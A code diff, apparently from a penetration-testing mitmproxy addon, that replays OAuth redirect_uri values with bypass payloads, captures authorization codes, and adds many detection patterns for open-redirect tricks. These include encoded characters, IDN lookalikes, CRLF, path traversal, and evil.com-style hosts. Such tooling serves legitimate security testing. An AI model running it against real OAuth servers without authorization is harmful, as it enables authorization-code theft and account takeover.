헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 - + # 서버에 GET 요청 전송 async with session.get(url, allow_redirects=False, headers=request_headers) as response: - return { + result = { 'status': response.status, 'location': response.headers.get("Location", ""), 'headers': dict(response.headers) } + + # 성공/실패 기록 + if response.status in [200, 301, 302, 303, 307, 308]: + redirect_limiter.record_success() + else: + redirect_limiter.record_failure(f"HTTP {response.status}") + + return result + except Exception as e: + redirect_limiter.record_failure(str(e)) print(f"[ERROR] 요청 실패 ({url}): {e}") return {'status': 500, 'location': '', 'headers': {}} - """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """ + """ redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """ def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: try: base_parsed = urlparse(base_url) @@ -339,18 +1017,166 @@ class RedirectBypassChecker: print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}") return False - # 이중 인코딩 체크 - if "%2540" in redirect_uri: # %40의 이중 인코딩 - print(f"[ALERT] 이중 URL 인코딩 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 이중 인코딩 우회 공격: {redirect_uri}") - return False - # Fragment 체크 if "#@" in redirect_uri: print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}") print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}") return False + # %ff 바이트 체크 + if "%ff" in redirect_uri.lower(): + print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") + if "%ff@" in redirect_uri or "%ff." in redirect_uri: + print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}") + return False + + # 전각 문자 검증 (직접 + 인코딩 모두) + fullwidth_patterns = ["/", "\", "%EF%BC%8F", "%EF%BC%BC"] + for pattern in fullwidth_patterns: + if pattern in redirect_uri: + print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}") + print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}") + return False + + # 와일드카드 서브도메인 우회 탐지 + if f"attacker.{base_host}" in redirect_uri: + print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}") + return False + + # 서브도메인 혼동 우회 탐지 (하이픈 패턴) + hyphen_host = base_host.replace('.', '-').replace(':', '-') + if f"{hyphen_host}.evil.com" in redirect_uri: + print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}") + return False + + # 대소문자 + IDN 조합 우회 탐지 + if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자) + print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}") + return False + + # 세미콜론 userinfo 탐지 + if f"{base_host};evil.com" in redirect_uri: + print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}") + return False + + # 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백) + control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"] + for char in control_chars: + if f"{char}@" in redirect_uri: + print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}") + print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}") + return False + + # 포트 인코딩 탐지 + if f"{base_host}:%40evil.com" in redirect_uri: + print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}") + return False + + # 앰퍼샌드 인코딩 탐지 + if " &%40evil.com" in redirect_uri: + print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}") + return False + + # 언더스코어 인코딩 탐지 + if f"{base_host}.%5F.evil.com" in redirect_uri: + print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}") + return False + + # 콤마 분리자 탐지 + if f"{base_host}.%2C.evil.com" in redirect_uri: + print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}") + return False + + # 스키마 없는 우회 탐지 + if redirect_uri.startswith("//evil.com"): + print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}") + return False + + # 스키마 콜론 우회 탐지 + if redirect_uri.startswith("http:evil.com"): + print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}") + return False + + # 널 바이트 prefix 탐지 + if redirect_uri.startswith("%00"): + print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}") + return False + + # 유니코드 공백 문자 탐지 + unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"] + for space in unicode_spaces: + if space in redirect_uri: + print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}") + print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}") + return False + + # 대괄호 인코딩 탐지 + if f"{base_host}%5B%40evil.com" in redirect_uri: + print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}") + return False + + # CRLF 인젝션 체크 + if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri: + print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}") + return False + + # 대소문자 혼합 스키마 체크 + if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")): + print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}") + return False + + # 스키마 변조 체크 + if "https.://" in redirect_uri: + print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}") + return False + + # 복합 인코딩 패턴 체크 (혼합 제어 문자) + if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri: + print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}") + return False + + # 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합) + if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri: + print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}") + return False + + # 경로 백슬래시 도메인 탐지 + if f"{base_host}\\.evil.com" in redirect_uri: + print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}") + print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}") + return False + + # 경로 순회 패턴 체크 + if not self._check_path_traversal_patterns(redirect_uri): + return False + + # 쿼리 파라미터 우회 탐지 (question_mark 패턴) + if "?" in redirect_uri: + query_part = redirect_uri.split("?", 1)[1] + evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="] + for indicator in evil_indicators: + if indicator in query_part.lower(): + print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}") + print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}") + return False + # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지) if "@" in redirect_uri: # @ 앞의 부분이 실제 목적지 도메인 @@ -363,32 +1189,6 @@ class RedirectBypassChecker: print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") return False - # %ff 바이트 체크 - if "%ff" in redirect_uri: - print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") - if "%ff@" in redirect_uri or "%ff." in redirect_uri: - print(f"[CRITICAL] %ff 우회 공격 패턴: {redirect_uri}") - return False - - # 전각 문자 체크 - if "/" in redirect_uri: # 전각 슬래시 - print(f"[ALERT] 전각 문자 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 전각 슬래시 우회 공격: {redirect_uri}") - return False - - # 제어 문자(줄바꿈/캐리지 리턴 문자) 체크 - if "%0a" in redirect_uri or "%0d" in redirect_uri: - print(f"[ALERT] 제어 문자 우회 패턴 탐지: {redirect_uri}") - if "%0a@" in redirect_uri or "%0d@" in redirect_uri: - print(f"[CRITICAL] 제어 문자 우회 공격: {redirect_uri}") - return False - - # 경로 순회 패턴 체크 - if "/../" in redirect_uri: - print(f"[ALERT] 경로 순회 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 경로 순회 우회 공격: {redirect_uri}") - return False - # 백슬래시 우회 체크 if "\\" in redirect_uri: print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}") @@ -448,6 +1248,32 @@ class RedirectBypassChecker: except Exception as e: print(f"[ERROR] 도메인 검증 실패: {e}") return False + + """ 경로 순회 패턴 탐지 """ + def _check_path_traversal_patterns(self, redirect_uri: str) -> bool: + + path_traversal_patterns = [ + "/../", # 기본 경로 순회 + "/.././", # 혼합 슬래시 + "/..;/", # 세미콜론 패턴 + "%2e%2e%2f", # URL 인코딩된 ../ + "%2e%2e/", # URL 인코딩된 .. + 일반 슬래시 + "/%2e%2e/", # 슬래시 + 인코딩된 ../ + "%252e%252e", # 이중 인코딩된 .. + "%c0%ae", # 오버롱 UTF-8 + "\\..\\", # 백슬래시 패턴 + "../", # 유니코드 점 + "../%00", # 널 바이트 조합 + "%00../", # 널 바이트 전치 + ] + + for pattern in path_traversal_patterns: + if pattern in redirect_uri.lower(): + print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}") + print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}") + return False + + return True """ Location 헤더에서 authorization code 추출 """ def _extract_code_from_location(self, location: str) -> str: @@ -461,7 +1287,7 @@ class RedirectBypassChecker: except: return "" - """ 메인 테스트 함수 - mitmproxy flow 처리 """ + """ mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """ async def test(self, flow: http.HTTPFlow): url = flow.request.pretty_url parsed = urlparse(url) @@ -471,8 +1297,19 @@ class RedirectBypassChecker: return original_redirect_uri = query["redirect_uri"][0] + + redirect_limiter.reset_for_new_target() + print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") + print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}") + print("[DEBUG] 패턴 목록:") + for i, payload in enumerate(self.bypass_payloads): + print(f" {i+1:2d}. {payload.name}") + print("-" * 50) + + tested_count = 0 # 테스트된 패턴 카운터 추가 + for payload in self.bypass_payloads: try: await self._test_bypass_pattern( @@ -506,28 +1343,24 @@ class RedirectBypassChecker: async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): status = response['status'] location = response['location'] - - print(f"[DEBUG] 응답 분석 - 상태: {status}, Location: {location}") - + # 리다이렉트 응답이 아니면 스킵 if status not in [301, 302, 303, 307, 308]: - print(f"[DEBUG] 리다이렉트 아님 - 상태 코드: {status}") - return + return False # Location 헤더에서 code 추출 auth_code = self._extract_code_from_location(location) - print(f"[DEBUG] 추출된 코드: {auth_code}") # 베이스라인 검증 is_valid = self._is_baseline_valid(bypassed_uri, original_url) - print(f"[DEBUG] 베이스라인 검증 결과: {is_valid}") if auth_code and not is_valid: # 취약점 발견 시에만 로그 print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) - else: - print(f"[DEBUG] 취약점 없음 - 코드: {bool(auth_code)}, 유효성: {is_valid}") + return True + + return False """ 취약점 보고서 생성 """ async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload):